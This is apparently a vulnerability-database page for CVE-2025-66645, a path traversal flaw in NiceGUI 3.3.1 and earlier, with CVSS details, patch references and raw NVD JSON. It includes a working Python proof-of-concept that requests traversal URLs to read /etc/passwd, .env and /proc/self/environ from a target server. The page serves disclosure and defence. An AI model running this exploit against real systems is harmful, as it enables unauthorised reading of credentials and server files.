Security Vulnerability Report
中文
CVE-2025-66645 CVSS 7.5 HIGH

CVE-2025-66645

Published: 2025-12-09 22:16:16
Last Modified: 2025-12-19 19:00:54

Description

NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are vulnerable to directory traversal through the App.add_media_files() function, which allows a remote attacker to read arbitrary files on the server filesystem. This issue is fixed in version 3.4.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:* - VULNERABLE
NiceGUI <= 3.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-66645 NiceGUI Path Traversal PoC # Target: NiceGUI <= 3.3.1 # Vulnerability: Directory traversal via App.add_media_files() TARGET_URL = "http://target:8080" # Read sensitive files using path traversal files_to_read = [ "/etc/passwd", "/etc/hosts", ".env", "/proc/self/environ" ] def exploit_path_traversal(): for file_path in files_to_read: # Construct path traversal URL # The traversal sequence ../ can be used multiple times traversal = "../" * 6 # Adjust based on mount point encoded_path = traversal + file_path.lstrip("/") # Try different path traversal techniques urls = [ f"{TARGET_URL}/media/{encoded_path}", f"{TARGET_URL}/media/{file_path}", f"{TARGET_URL}/../media/../../{file_path}" ] for url in urls: try: response = requests.get(url, timeout=5) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success: {url}") print(response.text[:500]) print("-" * 50) except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") if __name__ == "__main__": exploit_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66645", "sourceIdentifier": "[email protected]", "published": "2025-12-09T22:16:15.930", "lastModified": "2025-12-19T19:00:54.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are vulnerable to directory traversal through the App.add_media_files() function, which allows a remote attacker to read arbitrary files on the server filesystem. This issue is fixed in version 3.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.4.0", "matchCriteriaId": "AD5CC19F-9BBA-4C0D-879C-627478C1E72B"}]}]}], "references": [{"url": "https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}